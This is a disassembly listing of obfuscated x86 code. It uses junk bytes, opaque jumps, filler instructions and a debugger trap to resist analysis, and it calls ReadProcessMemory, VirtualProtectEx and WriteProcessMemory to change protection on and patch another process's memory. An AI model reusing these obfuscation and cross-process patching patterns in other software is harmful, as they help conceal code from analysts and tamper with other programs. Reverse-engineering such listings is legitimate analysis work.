		jmp	short loc_4BD7B8
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BD7B4:				; CODE XREF: .text:loc_4BD7B8j
		jmp	short loc_4BD7C6
; ---------------------------------------------------------------------------
		jz	short loc_4BD7A7


loc_4BD7B8:				; CODE XREF: .text:004BD7B1j
		jnb	short loc_4BD7B4
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BD7BB:				; CODE XREF: .text:004BD7A9j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BD7AB
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BD7C2:				; CODE XREF: .text:loc_4BD7A3j
		jmp	short loc_4BD7A5
; ---------------------------------------------------------------------------
		jmp	short loc_4BD7A3
; ---------------------------------------------------------------------------


loc_4BD7C6:				; CODE XREF: .text:loc_4BD7B4j
		repne sbb al, 0DBh
		jmp	short loc_4BD7CE
; ---------------------------------------------------------------------------


loc_4BD7CB:				; CODE XREF: .text:004BD79Ej
		jmp	short near ptr loc_4BD79E+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BD7CE:				; CODE XREF: .text:004BD7C9j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	ecx, [ebp-34h]
		mov	edx, [ecx+0Ch]
		mov	[ebp-34h], edx
		jo	short loc_4BD7EA
		jl	short loc_4BD7E8


loc_4BD7E5:				; CODE XREF: .text:loc_4BD7E8j
					; .text:loc_4BD7EAj
		jmp	short loc_4BD7EC
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BD7E8:				; CODE XREF: .text:004BD7E3j
		jz	short loc_4BD7E5


loc_4BD7EA:				; CODE XREF: .text:004BD7E1j
		jmp	short loc_4BD7E5
; ---------------------------------------------------------------------------


loc_4BD7EC:				; CODE XREF: .text:loc_4BD7E5j
		jmp	near ptr dword_4BD6DC+5
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	ecx, dword_4F4748
		mov	edx, [ecx+eax*4]
		mov	[ebp-30h], edx


loc_4BD800:				; CODE XREF: .text:004BD83Bj
		cmp	dword ptr [ebp-30h], 0
		jz	short loc_4BD83D
		mov	eax, [ebp-30h]
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------


loc_4BD80A:				; CODE XREF: .text:loc_4BD881j
		inc	ebp
		int	3		; Trap to Debugger
		mov	ecx, [ebp-34h]
		mov	edx, [ecx+0Ch]
		mov	[ebp-30h], edx
		mov	eax, [ebp-34h]
		mov	ecx, [eax]
		mov	[ebp-3Ch], ecx
		mov	edx, [ebp-3Ch]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		mov	eax, [ebp-34h]
		mov	[ebp-40h], eax
		mov	ecx, [ebp-40h]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		jmp	short loc_4BD800
; ---------------------------------------------------------------------------


loc_4BD83D:				; CODE XREF: .text:004BD804j
		mov	edx, [ebp+8]
		mov	eax, dword_4F4748
		mov	dword ptr [eax+edx*4], 0


loc_4BD84C:				; CODE XREF: .text:004BD69Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4774
		mov	eax, [edx+ecx*4]
		and	eax, 4
		test	eax, eax
		jnz	loc_4BD91B
		pusha
		xor	eax, eax
		jnz	short loc_4BD86A
		jmp	short loc_4BD87F
; ---------------------------------------------------------------------------


loc_4BD86A:				; CODE XREF: .text:004BD866j
		jmp	short loc_4BD89F
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BD871:				; CODE XREF: .text:loc_4BD87Fj
		jo	short loc_4BD881
		jmp	short near ptr loc_4BD881+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BD87F:				; CODE XREF: .text:004BD868j
		jz	short loc_4BD871


loc_4BD881:				; CODE XREF: .text:loc_4BD871j
					; .text:004BD873j
		jmp	short loc_4BD80A
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:0FF6A6133h
		push	1000h
		mov	ecx, dword_4F477C
		push	ecx
		call	sub_490FB0
		add	esp, 0Ch


loc_4BD89F:				; CODE XREF: .text:loc_4BD86Aj
		mov	edx, [ebp+8]
		mov	ecx, dword_4F4778
		mov	[ecx+edx*4], eax
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BD8CE


loc_4BD8CB:				; CODE XREF: .text:004BD8ECj
		jmp	short near ptr loc_4BD8EE+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD8CE:				; CODE XREF: .text:004BD8C9j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BD8E1
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BD8D7:				; CODE XREF: .text:004BD8E3j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD8E5
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD8E1:				; CODE XREF: .text:004BD8D2j
		xor	eax, eax
		jz	short loc_4BD8D7


loc_4BD8E5:				; CODE XREF: .text:004BD8DEj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BD8CB


loc_4BD8EE:				; CODE XREF: .text:loc_4BD8CBj
		jmp	near ptr 92B27654h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, [ebp+8]
		mov	eax, dword_4F4774
		mov	ecx, [eax+edx*4]
		or	ecx, 4
		mov	edx, [ebp+8]
		mov	eax, dword_4F4774
		mov	[eax+edx*4], ecx
		jo	short loc_4BD919
		jl	short loc_4BD917


loc_4BD914:				; CODE XREF: .text:loc_4BD917j
					; .text:loc_4BD919j
		jmp	short loc_4BD91B
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BD917:				; CODE XREF: .text:004BD912j
		jz	short loc_4BD914


loc_4BD919:				; CODE XREF: .text:004BD910j
		jmp	short loc_4BD914
; ---------------------------------------------------------------------------


loc_4BD91B:				; CODE XREF: .text:004BD85Dj
					; .text:loc_4BD914j
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4774
		mov	eax, [edx+ecx*4] ; CODE	XREF: .text:004BD993j
		or	al, 1
		mov	ecx, [ebp+8]
		mov	edx, dword_4F4774
		mov	[edx+ecx*4], eax
		xor	eax, eax
		mov	al, byte_4F4780
		test	eax, eax
		jz	short loc_4BD94B
		mov	ecx, [ebp-18h]
		and	ch, 0FEh
		mov	[ebp-10h], ecx
		jmp	short loc_4BD952
; ---------------------------------------------------------------------------


loc_4BD94B:				; CODE XREF: .text:004BD93Ej
		mov	dword ptr [ebp-10h], 40h


loc_4BD952:				; CODE XREF: .text:loc_4BD4DEj
					; .text:loc_4BD644j ...
		lea	edx, [ebp-8]
		push	edx
		push	1000h
		mov	eax, dword_4F477C
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED114	; WriteProcessMemory
		test	eax, eax
		jnz	short loc_4BD9C3
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BD9AF ; CODE	XREF: .text:loc_4BD9AFj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BD987:				; CODE XREF: .text:004BD9A8j
		jmp	short loc_4BD9A6
; ---------------------------------------------------------------------------


loc_4BD989:				; CODE XREF: .text:loc_4BD9A6j
		xor	ecx, ecx


loc_4BD98B:				; CODE XREF: .text:004BD99Aj
		jz	short $+2
		jmp	short loc_4BD99F
; ---------------------------------------------------------------------------


loc_4BD98F:				; CODE XREF: .text:004BD9A3j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BD924+1
		jmp	short loc_4BD99C
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BD998:				; CODE XREF: .text:loc_4BD99Cj
		jmp	short loc_4BD9AA
; ---------------------------------------------------------------------------
		jz	short loc_4BD98B


loc_4BD99C:				; CODE XREF: .text:004BD995j
		jnb	short loc_4BD998
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BD99F:				; CODE XREF: .text:004BD98Dj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BD98F
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BD9A6:				; CODE XREF: .text:loc_4BD987j
		jmp	short loc_4BD989
; ---------------------------------------------------------------------------
		jmp	short loc_4BD987
; ---------------------------------------------------------------------------


loc_4BD9AA:				; CODE XREF: .text:loc_4BD998j
		repne sbb al, 0DBh
		jmp	short loc_4BD9B2
; ---------------------------------------------------------------------------


loc_4BD9AF:				; CODE XREF: .text:004BD982j
		jmp	short near ptr loc_4BD982+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BD9B2:				; CODE XREF: .text:004BD9ADj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		xor	al, al
		jmp	loc_4BDA6A
; ---------------------------------------------------------------------------


loc_4BD9C3:				; CODE XREF: .text:004BD976j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BD9E6


loc_4BD9E3:				; CODE XREF: .text:004BDA04j
		jmp	short near ptr loc_4BDA06+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD9E6:				; CODE XREF: .text:004BD9E1j
		xor	ebx, ebx
		jz	short $+2	; CODE XREF: .text:loc_4BDA60j
		jmp	short loc_4BD9F9
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BD9EF:				; CODE XREF: .text:004BD9FBj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BD9FD
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BD9F9:				; CODE XREF: .text:004BD9EAj
		xor	eax, eax
		jz	short loc_4BD9EF


loc_4BD9FD:				; CODE XREF: .text:004BD9F6j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BD9E3


loc_4BDA06:				; CODE XREF: .text:loc_4BD9E3j
		jmp	near ptr 92B2776Ch
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		lea	ecx, [ebp-18h]
		push	ecx
		mov	edx, [ebp-10h]
		push	edx
		push	1000h
		mov	eax, [ebp-14h]
		push	eax
		mov	ecx, dword_4F4750
		mov	edx, [ecx]
		push	edx
		call	dword_4ED110	; VirtualProtectEx
		test	eax, eax
		jnz	short loc_4BDA42
		jo	short loc_4BDA3C
		jl	short loc_4BDA3A


loc_4BDA37:				; CODE XREF: .text:loc_4BDA3Aj
					; .text:loc_4BDA3Cj
		jmp	short loc_4BDA3E
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BDA3A:				; CODE XREF: .text:004BDA35j
		jz	short loc_4BDA37


loc_4BDA3C:				; CODE XREF: .text:004BDA33j
		jmp	short loc_4BDA37
; ---------------------------------------------------------------------------


loc_4BDA3E:				; CODE XREF: .text:loc_4BDA37j
		xor	al, al
		jmp	short loc_4BDA6A
; ---------------------------------------------------------------------------


loc_4BDA42:				; CODE XREF: .text:004BDA31j
		pusha
		xor	eax, eax
		jnz	short loc_4BDA49
		jmp	short loc_4BDA5E
; ---------------------------------------------------------------------------


loc_4BDA49:				; CODE XREF: .text:004BDA45j
		jmp	short near ptr loc_4BDA7B+3
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BDA50:				; CODE XREF: .text:loc_4BDA5Ej
		jo	short loc_4BDA60
		jmp	short near ptr loc_4BDA60+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BDA67


loc_4BDA5E:				; CODE XREF: .text:004BDA47j
		jz	short loc_4BDA50


loc_4BDA60:				; CODE XREF: .text:loc_4BDA50j
					; .text:004BDA52j
		jmp	short near ptr loc_4BD9E8+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BDA67:				; CODE XREF: .text:004BDA5Cj
		popa
		mov	al, 1


loc_4BDA6A:				; CODE XREF: .text:004BC9AFj
					; .text:004BCA71j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BDA71	proc near		; CODE XREF: .text:004BB1C3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax


loc_4BDA7B:				; CODE XREF: .text:loc_4BDA49j
		call	sub_4BDAA4
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_4BDA91
		or	eax, 0FFFFFFFFh
		jmp	short loc_4BDAA0
; ---------------------------------------------------------------------------


loc_4BDA91:				; CODE XREF: sub_4BDA71+19j
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F45A8
		mov	eax, [edx+ecx*4]
		mov	eax, [eax+4]


loc_4BDAA0:				; CODE XREF: sub_4BDA71+1Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_4BDA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BDAA4	proc near		; CODE XREF: sub_4BDA71:loc_4BDA7Bp
					; sub_4BDB47+Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 0
		mov	eax, dword_4F478C
		mov	[ebp+var_4], eax


loc_4BDAB9:				; CODE XREF: sub_4BDAA4:loc_4BDAF8j
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jge	short loc_4BDAFA
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	edx, [ebp+var_8]
		add	edx, eax
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4F45A8
		mov	edx, [ecx+eax*4]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx]
		jbe	short loc_4BDAF2
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_4BDAF8
; ---------------------------------------------------------------------------


loc_4BDAF2:				; CODE XREF: sub_4BDAA4+41j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_4], edx


loc_4BDAF8:				; CODE XREF: sub_4BDAA4+4Cj
		jmp	short loc_4BDAB9
; ---------------------------------------------------------------------------


loc_4BDAFA:				; CODE XREF: sub_4BDAA4+1Bj
		mov	eax, [ebp+var_8]
		cmp	eax, dword_4F478C
		jge	short loc_4BDB2F
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4F45A8
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax]
		jnz	short loc_4BDB2F
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4BDB2A
		or	eax, 0FFFFFFFFh
		jmp	short loc_4BDB43
; ---------------------------------------------------------------------------


loc_4BDB2A:				; CODE XREF: sub_4BDAA4+7Fj
		mov	eax, [ebp+var_8]
		jmp	short loc_4BDB43
; ---------------------------------------------------------------------------


loc_4BDB2F:				; CODE XREF: sub_4BDAA4+5Fj
					; sub_4BDAA4+72j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4BDB40
		mov	eax, [ebp+var_8]
		jmp	short loc_4BDB43
; ---------------------------------------------------------------------------


loc_4BDB40:				; CODE XREF: sub_4BDAA4+95j
		or	eax, 0FFFFFFFFh


loc_4BDB43:				; CODE XREF: sub_4BDAA4+84j
					; sub_4BDAA4+89j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4BDAA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4BDB47	proc near		; CODE XREF: .text:004B9BAEp
					; .text:004BB6E1p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4BDAA4
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jl	loc_4BDC6B
		mov	ecx, dword_4F478C
		cmp	ecx, dword_4F4790
		jnz	short loc_4BDBEB
		mov	edx, dword_4F4790
		shl	edx, 1
		mov	dword_4F4790, edx
		cmp	dword_4F4790, 0
		jnz	short loc_4BDB97
		mov	dword_4F4790, 100h


loc_4BDB97:				; CODE XREF: sub_4BDB47+44j
		mov	eax, dword_4F45A8
		mov	[ebp+Src], eax
		mov	ecx, dword_4F4790
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	dword_4F45A8, edx
		mov	eax, dword_4F478C
		shl	eax, 2
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, dword_4F45A8
		push	edx		; Dst
		call	_memcpy_1
		add	esp, 0Ch
		mov	eax, [ebp+Src]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_4C85D6
		add	esp, 4


loc_4BDBEB:				; CODE XREF: sub_4BDB47+2Dj
		mov	edx, dword_4F478C
		sub	edx, [ebp+var_4]
		shl	edx, 2
		push	edx		; Size
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4F45A8
		lea	edx, [ecx+eax*4]
		push	edx		; Src
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4F45A8
		lea	edx, [ecx+eax*4+4]
		push	edx		; Dst
		call	_memcpy_2
		add	esp, 0Ch
		push	8
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_4BDC47
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_4]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		jmp	short loc_4BDC4E
; ---------------------------------------------------------------------------


loc_4BDC47:				; CODE XREF: sub_4BDB47+E5j
		mov	[ebp+var_18], 0


loc_4BDC4E:				; CODE XREF: sub_4BDB47+FEj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4F45A8
		mov	ecx, [ebp+var_18]
		mov	[eax+edx*4], ecx
		mov	edx, dword_4F478C
		add	edx, 1
		mov	dword_4F478C, edx


loc_4BDC6B:				; CODE XREF: sub_4BDB47+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_4BDB47	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_4BDAA4
		add	esp, 8
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jl	short loc_4BDCE5
		mov	ecx, [ebp-4]
		mov	edx, dword_4F45A8
		mov	eax, [edx+ecx*4]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, dword_4F478C
		sub	edx, 1
		mov	dword_4F478C, edx
		mov	eax, dword_4F478C
		sub	eax, [ebp-4]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp-4]
		mov	edx, dword_4F45A8
		lea	eax, [edx+ecx*4+4]
		push	eax
		mov	ecx, [ebp-4]
		mov	edx, dword_4F45A8
		lea	eax, [edx+ecx*4]
		push	eax
		call	_memcpy_2
		add	esp, 0Ch


loc_4BDCE5:				; CODE XREF: .text:004BDC8Aj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4BDCE9:				; CODE XREF: .text:004B9B3Ap
					; .text:004B9B93p
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_4EDD40
		mov	[ebp-8], ax
		mov	cl, byte_4EDD42
		mov	[ebp-6], cl
		cmp	dword ptr [ebp+10h], 0
		jnz	loc_4BDE10
		jo	short loc_4BDD1B
		jl	short loc_4BDD19


loc_4BDD16:				; CODE XREF: .text:loc_4BDD19j
					; .text:loc_4BDD1Bj
		jmp	short loc_4BDD1D
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BDD19:				; CODE XREF: .text:004BDD14j
		jz	short loc_4BDD16


loc_4BDD1B:				; CODE XREF: .text:004BDD12j
		jmp	short loc_4BDD16
; ---------------------------------------------------------------------------


loc_4BDD1D:				; CODE XREF: .text:loc_4BDD16j
		push	2CCh
		push	0
		lea	edx, [ebp-2D4h]
		push	edx
		call	_memset_0


loc_4BDD30:				; CODE XREF: .text:loc_4BDDA7j
		add	esp, 0Ch
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BDD56


loc_4BDD53:				; CODE XREF: .text:004BDD74j
		jmp	short near ptr loc_4BDD76+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BDD56:				; CODE XREF: .text:004BDD51j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BDD69
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BDD5F:				; CODE XREF: .text:004BDD6Bj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BDD6D
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BDD69:				; CODE XREF: .text:004BDD5Aj
		xor	eax, eax
		jz	short loc_4BDD5F


loc_4BDD6D:				; CODE XREF: .text:004BDD66j
					; .text:004BDDDEj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BDD53


loc_4BDD76:				; CODE XREF: .text:loc_4BDD53j
		jmp	near ptr 92B27ADCh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	dword ptr [ebp-2D4h], 10001h
		pusha
		xor	eax, eax
		jnz	short loc_4BDD90
		jmp	short loc_4BDDA5
; ---------------------------------------------------------------------------


loc_4BDD90:				; CODE XREF: .text:004BDD8Cj
		jmp	short loc_4BDDC5
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BDD97:				; CODE XREF: .text:loc_4BDDA5j
		jo	short loc_4BDDA7
		jmp	short near ptr loc_4BDDA7+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BDDA5:				; CODE XREF: .text:004BDD8Ej
		jz	short loc_4BDD97


loc_4BDDA7:				; CODE XREF: .text:loc_4BDD97j
					; .text:004BDD99j
		jmp	short loc_4BDD30
; ---------------------------------------------------------------------------
		db 0DBh, 7Ah, 0F0h
		dd 8D6133A0h, 0FFFD2C85h, 4D8B50FFh, 4518B08h, 0E015FF52h
		dd 50004ED0h
		db 0F7h
; ---------------------------------------------------------------------------


loc_4BDDC5:				; CODE XREF: .text:loc_4BDD90j
		ror	byte ptr [edi],	1
		enter	7358h, 0
		pushf
		pusha
		jmp	short loc_4BDDFA ; CODE	XREF: .text:loc_4BDDFAj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BDDD2:				; CODE XREF: .text:004BDDF3j
		jmp	short loc_4BDDF1
; ---------------------------------------------------------------------------


loc_4BDDD4:				; CODE XREF: .text:loc_4BDDF1j
		xor	ecx, ecx


loc_4BDDD6:				; CODE XREF: .text:004BDDE5j
		jz	short $+2
		jmp	short loc_4BDDEA
; ---------------------------------------------------------------------------


loc_4BDDDA:				; CODE XREF: .text:004BDDEEj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BDD6D+3
		jmp	short loc_4BDDE7
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BDDE3:				; CODE XREF: .text:loc_4BDDE7j
		jmp	short loc_4BDDF5
; ---------------------------------------------------------------------------
		jz	short loc_4BDDD6


loc_4BDDE7:				; CODE XREF: .text:004BDDE0j
		jnb	short loc_4BDDE3
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BDDEA:				; CODE XREF: .text:004BDDD8j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BDDDA
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BDDF1:				; CODE XREF: .text:loc_4BDDD2j
		jmp	short loc_4BDDD4
; ---------------------------------------------------------------------------
		jmp	short loc_4BDDD2
; ---------------------------------------------------------------------------


loc_4BDDF5:				; CODE XREF: .text:loc_4BDDE3j
		repne sbb al, 0DBh
		jmp	short loc_4BDDFD
; ---------------------------------------------------------------------------


loc_4BDDFA:				; CODE XREF: .text:004BDDCDj
		jmp	short near ptr loc_4BDDCD+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BDDFD:				; CODE XREF: .text:004BDDF8j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	eax, [ebp-21Ch]
		mov	[ebp+10h], eax


loc_4BDE10:				; CODE XREF: .text:004BDD0Cj
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4BDEAF
		lea	edx, [ebp-4]
		push	edx
		push	2
		push	offset dword_4F45AC
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx]
		push	edx
		call	dword_4ED0D0	; ReadProcessMemory
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BDE5F


loc_4BDE5C:				; CODE XREF: .text:004BDE7Dj
		jmp	short near ptr loc_4BDE7F+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BDE5F:				; CODE XREF: .text:004BDE5Aj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BDE72
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BDE68:				; CODE XREF: .text:004BDE74j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BDE76
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BDE72:				; CODE XREF: .text:004BDE63j
		xor	eax, eax
		jz	short loc_4BDE68


loc_4BDE76:				; CODE XREF: .text:004BDE6Fj
					; .text:004BDEE5j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BDE5C


loc_4BDE7F:				; CODE XREF: .text:loc_4BDE5Cj
		jmp	near ptr 92B27BE5h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		lea	eax, [ebp-4]
		push	eax
		push	2
		lea	ecx, [ebp-8]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+8]
		mov	ecx, [eax]
		push	ecx
		call	dword_4ED114	; WriteProcessMemory
		jo	short loc_4BDEAB
		jl	short loc_4BDEA9


loc_4BDEA6:				; CODE XREF: .text:loc_4BDEA9j
					; .text:loc_4BDEABj
		jmp	short loc_4BDEAD
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BDEA9:				; CODE XREF: .text:004BDEA4j
		jz	short loc_4BDEA6


loc_4BDEAB:				; CODE XREF: .text:004BDEA2j
		jmp	short loc_4BDEA6
; ---------------------------------------------------------------------------


loc_4BDEAD:				; CODE XREF: .text:loc_4BDEA6j
		jmp	short loc_4BDF0E
; ---------------------------------------------------------------------------


loc_4BDEAF:				; CODE XREF: .text:004BDE1Bj
		lea	edx, [ebp-4]
		push	edx
		push	2
		push	offset dword_4F45AC
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+8]
		mov	edx, [ecx]
		push	edx
